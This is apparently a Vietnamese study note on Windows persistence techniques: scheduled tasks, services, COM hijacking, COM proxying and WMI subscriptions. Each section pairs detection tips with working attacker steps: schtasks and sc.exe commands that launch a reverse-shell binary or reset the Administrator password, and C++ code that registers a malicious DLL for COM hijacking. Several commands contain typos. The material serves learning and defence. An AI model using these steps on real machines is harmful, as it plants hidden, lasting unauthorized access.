# Một số phương thức Persistence

<https://hadess.io/the-art-of-windows-persistence/>

### Sử dụng Schedule Task <a href="#id-828bit3zee4a" id="id-828bit3zee4a"></a>

Schedule Task cho phép người dùng tự động hóa các tác vụ bằng cách lên lịch để chúng chạy vào những thời điểm cụ thể. Bằng việc đặt thời gian để thực thi tệp độc hại, attacker có thể lạm dụng tính năng này của windows để có được quyền truy cập liên tục vào máy. 3 cách phổ biến:

* Regular user based persistence: Lên lịch một tác vụ chạy theo thông tin xác thực của người dùng thông thường, ít phổ biến hơn so với elevated user based persistence vì dễ phát hiện và loại bỏ hơn

\# tạo lịch chạy 1 lần lúc 00.00

*`schtasks /create/sc ONCE/st 00:00 /tn “My Malicious Task”/tr C:\Temp\revshell.exe`*

\# Buộc chạy ngay

*`schtasks /run/tn “My Malicious Task”/tr`*

* Elevated user Based Persistence: Lên lịch cho một tác vụ với đặc quyền cao(Admin hoặc NT SYSTEM) => Thực hiện được những hành động nguy hiểm như sửa đổi cài đặt hệ thống hoặc truy cập dữ liệu nhạy cảm

<figure><img src="https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2F4PRl9lYLYHndvkZogMiR%2F0.png?alt=media" alt=""><figcaption></figcaption></figure>

* Multi-Action Schedule task persistence: Ẩn mình nhờ sửa đổi các Schedule task đã lên lịch từ trước để thực hiện thêm các hành động độc hại. Multiple action sẽ hiện thị tại Task To Run khi được liệt kê cùng với schtasks.exe

Để cấu hình Multi-Action Schedule task, trước tiên xuất Schedule Tasks dưới dạng XML:

*`schtasks /query/tin”CHANGEME” /xml > task.xml`*

Chỉnh sửa task.xml, thêm trong \<Actions>:

*<`Exec>`*

*`<Command>C:\windows\revshell.exe</Command>`*

*`<Command>C:\Program Files\Mozilla Firefox\updater.exe</Command>`*

*`</Exec>`*

Xóa task cũ và cài đặt task đã điều chỉnh:

*`schtasks /delete /tn “CHANGE” /f`*

*`schtasks /create /tn “CHANGEME” /xml task.xml`*

Entry: Tạo một Schedule Task thực thi revshell khi người dùng đăng nhập

![](https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FUls9feNgd3lzyTKVVZ2n%2F1.png?alt=media)

Phát hiện:

Windows Explorer: Tìm các task bất thường tại

`C:\Windows\System32\Tasks`

`C:\Windows\SysWOW64\Tasks`

`C:\Windows\Tasks`

`Windows Event Logs: Applications and Services Logs -> Microsoft -> Windows -> TaskScheduler -> Operational`

`Windows Registry: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{GUID}`

Giám sát và ghi nhật ký Scheduled Tasks

### Sử dụng Services <a href="#vzhvcc1zqxjv" id="vzhvcc1zqxjv"></a>

Windows services có thể được cấu hình để chạy ngầm bất cứ khi nào máy nạn nhân hoạt động. Về cơ bản service là một tệp thực thi chạy ở chế độ nền. Khi định cấu hình một dịch vụ, bạn hãy xác định tệp thực thi nào sẽ được sử dụng và chọn xem dịch vụ sẽ tự động chạy khi máy khởi động hay khởi động thủ công. Cấu hình dịch vụ cũng như cấu hình trình điều khiển thiết bị được lưu trữ trong Registry Key trong HKLM\SYSTEM\CurrentControlSet\Ser. Có 2 cách chính để Persistence với services:

**Tạo một service mới:**

*`sc.exe create EvilService binPath= “net user Administrator Passwd123” start= auto`*

*`sc.exe start EvilService`*

*# or*

*`sc.exe create Evilservice2 binPath= “C:\windows\revshell.exe” start= auto`*

*`sc.exe start Evilservice2`*

Entry: Tạo một service

![](https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2F9u9uE87NyfnV4b3SmDkC%2F2.png?alt=media)

**Chỉnh sửa dịch vụ đã tồn tại:** tránh sự giám sát việc tạo service mới qua mạng của blue team.

POC: # lấy danh sách các dịch vụ:

*`sc.exe query state=all`*

Lựa chọn một service làm Target service

*`C:\> sc.exe qc Targetservice`*

Khi chạy sẽ cho đc thông tin như sau:

*`SERVICE_NAME: Targetservice`*

*`TYPE : 10 WIN32_OWN_PROCESS`*

*`START_TYPE : 2 AUTO_START`*

*`ERROR_CONTROL : 1 NORMAL`*

*`BINARY_PATH_NAME : C:\MyService\Targetservice.exe`*

*`LOAD_ORDER_GROUP :`*

*`TAG : 0`*

*`DISPLAY_NAME : Targetservice`*

*`DEPENDENCIES :`*

*`SERVICE_START_NAME : NT AUTHORITY\Local Service`*

Thay đổi binpath của Targetservice thành payload độc hại

*`C:\> sc.exe config Targetservice binPath= “C:\Windows\revshell.exe” start= auto obj= “LocalSystem”`*

### COM Hijacking <a href="#lvib9wuzzbs7" id="lvib9wuzzbs7"></a>

* Thay thế các đối tượng COM (Component Object Model) bằng các đối tượng độc hại.
* Thường được sử dụng để thực thi mã tùy ý, đạt được persistence hoặc leo thang đặc quyền trên hệ thống mục tiêu
* Hiểu về COM Hijacking: Component Object Model (COM) là một chuẩn giao diện do Microsoft phát triển cho phép các thành phần phần mềm khác nhau giao tiếp với nhau. Nó được sử dụng rộng rãi trong Windows để tích hợp thành phần phần mềm. Trong COM Hijacking, attacker thay thế một đối tượng COM hợp lệ thành một đối tượng độc hại, điều này dẫn đến việc thực thi mã độc khi một ứng dụng cố gắng khởi tạo đối tượng COM bị tấn công.

Khi một phần mềm cần tải một đối tượng COM, nó sẽ sử dụng API Windows **CoCreateInstance** để xây dựng một đối tượng chưa được khởi tạo của một lớp cụ thể, với là CLSID một trong các tham số cần thiết (class identifier).

Khi một chương trình gọi **CoCreateInstance** với một CLSID giá trị cụ thể, hệ điều hành sẽ tham khảo registry để tìm ra tệp nhị phân nào chứa mã COM được yêu cầu:

Ví dụ: firefox.exegọi CoCreateInstancebằng CLSID: {A1DB7B5E-D0EA-4FE0-93C4-314505788272}. Tệp C:\Windows\System32\TaskFlowDataEngine.dll được liên kết với registry ký *HKCU\Software\Classes\CLSID\\{A1DB7B5E-D0EA-4FE0-93C4-314505788272}\InprocServer32*

* Kịch bản tấn công:

**Xác định đối tượng COM mục tiêu** (thường xuyên được ứng dụng hoặc quy trình có đặc quyền cao sử dụng)

Tìm kiếm qua Process Monitor Filter

![](https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FV5pwzzq9iSdQhUuPqOEx%2F3.png?alt=media)

**Tạo đối tượng COM độc hại**

**Điều chỉnh Registry**: Sửa đổi Window Registry để trỏ đến đối tượng COM độc hại (thường được thực hiện bằng cách thay đổi khóa CLSID(Class ID) hoặc ProgID(Programmatic Identifier))

**Thực thi mã độc**: Khi ứng dụng mục tiêu cố gắng khởi tạo đối tượng COM bị tấn công, mã độc sẽ được thực thi, có khả năng dẫn đến hành động trái phép.

Entry: Biên dịch và thực thi đoạn code sau trên máy nạn nhân

```cpp
#include <windows.h>
#include <string.h>
#include <cstdio>
int main(int argc, char* argv[]) {
HKEY hkey = NULL;
// tạo subkey
const char* sk = "Software\\Classes\\CLSID\\{A6FF50C0-56C0-71CA-5732-BED303A59628}\\InprocServer32";
//trỏ đến dll độc hại đã có sẵn trên máy nạn nhân
const char* dll = "C:\\Users\\loilt8\\Desktop\\evil.dll";
//tạo hoặc mở khóa Registry
LONG res = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR)sk, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
if (res == ERROR_SUCCESS){
//Tạo khóa registry con với các đối số như trên
RegSetValueEx(hkey, NULL, 0, REG_SZ, (unsigned char*)dll, strlen(dll));
RegCloseKey(hkey);
}
else {
printf("cannot create subkey for COM hijacking :(\n");
return -1;
}
return 0;
}
```

Thủ công:

`reg query "HKCU\Software\Classes\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628}\InprocServer32" /s`

`reg query "HKCR\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628}\InprocServer32" /s`

`reg export "HKCR\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628}\InprocServer32" C:\Users\User\Desktop\shared\2022-05-02-malware-pers-3\orig.reg /reg:64 /y`

![](https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FznNUVAMtg0oJtpG15G4c%2F4.png?alt=media)

`reg import C:\Users\User\Desktop\shared\2022-05-02-malware-pers-3\evil.reg /reg:64`

`reg query "HKCU\Software\Classes\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628}\InprocServer32" /s`

Clean:

`reg delete "HKCU\Software\Classes\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628}" /f`

Phát hiện:

* Đăng ký thành phần COM cho mỗi người dùng là không thường xuyên nên những thay đổi có thể bị coi là đáng ngờ
* Kiểm tra Syscom (có thể được cấu hình cho các hoạt động HKCU\CLSID)
* Xem các khóa TreatAs và khóa bị bỏ rơi
* Nếu có một COM Object đã đăng ký cho mỗi người dùng nhưng có dll khác trên toàn máy
* Giám sát rundll32.exe(CLSID có thể được gọi bằng rundll32.exe - sta {CLSID})

### COM Proxying <a href="#u8rpco1dcjns" id="u8rpco1dcjns"></a>

* Kỹ thuật chặn hoặc thao túng giao tiếp giữ COM clients và servers -> Giám sát, thay đổi dữ liệu đang truyền hoặc chuyển hướng COM calls đến những đối tượng hoặc máy chủ khác nhau.
* Hiểu về Proxying: COM cho phép giao tiếp liên tiến trình (inter-process communication). Ứng dụng khách giao tiếp với máy chủ COM,máy chủ này cung cấp một số chức năng nhất định được hiển thị thông qua giao diện
* Kịch bản tấn công:

**Xác định COM Communication**: Xác định COM client-server communication muốn chắn (Giao tiếp giữa các thành phần Windows chuẩn hoặc giữa các ứng dụng bên thứ ba)

**Tạo đối tượng Proxy COM**

**Chèn đối tượng Proxy**: Chèn đối tượng Proxy vào COM communication path (bằng các sửa đổi Registry, thay thế server CLSID bằng CLSID của đối tượng proxy,…).

**Chặn bắt và chỉnh sửa COM Calls**: Khi client thực hiện COM call, nó sẽ bị chặn bởi đối tượng proxy. Proxy có thể ghi nhật ký cuộc gọi này, thay đổi dữ liệu hoặc thực hiện các hành động khác trước khi chuyển tiếp cuộc gọi đến máy chủ gốc hoặc máy chủ khác.

### Đăng ký WMI <a href="#id-8djl0ukuk2fj" id="id-8djl0ukuk2fj"></a>

* Đăng ký Windows Management Instrumentation(WMI) là một phương pháp được sử dụng để duy trì persistence trên hệ thống Windows. WMI là một tính năng Windows mạnh mẽ và linh hoạt được sử dụng cho nhiều tác vụ quản lý hệ thống khác nhau. Attacker có thể khai thác WMI bằng cách tạo các đăng ký persistent thực thi các tập lệnh hoặc tập nhị phân độc hại để phản hồi các sự kiện hệ thống được chỉ định.
* Hiểu về Đăng ký WMI để Persistence: Đăng ký WMI có thể được sử dụng để thực thi code phản hồi một sự kiện, thường được thực hiện bằng cách sử dụng WMI Event Filters và Consumer. WMI Event Filters chỉ định điều kiện mà code sẽ thực thi và Consumer xác định hành động cần thực hiện khi điều kiện đó đáp ứng. Lợi dụng điều này attacker có thể đảm thực thi code độc hại một cách tự động, từ đó đạt được persistence
* Kịch bản tấn công:

**Tạo một tệp lệnh độc hại hoặc có thể thực thi được**

**Setup WMI Event Filte**r: Thiết lập một WMI Event Filter chỉ định thời điểm mã độc sẽ được thực thi(ví dụ như lúc khởi động)

**Setup WMI Event Consumer**: Tạo ra một VMI Event Consumer được trigger bởi Event Filter để thực thi mã độc

**Liên kết Filter với Consumer**: Liên kết Event Filter với Event Consumer tạo một đăng ký

Entry: Sử dụng tiện ích dòng lệnh wmic tạo 3 sự kiện trong root\subscription. Payload sẽ thực thi trong vòng 60s mỗi khi Windows khởi động. Tệp thực thi sẽ trả về phiên Meterpreter trong vòng 60 giây sau mỗi lần khởi động lại.

![](https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2Fa6FiWF3MGDwof2iejBfs%2F5.png?alt=media)

Phát hiện:

Kiểm tra các event log của WMI trong Microsoft-Windows-WMI-Activity%4Operational

Sử dụng WMI Explorer để rà quét

Kiểm tra EventFilter, EventConsumer và FilterToConsumerBinding qua powershell
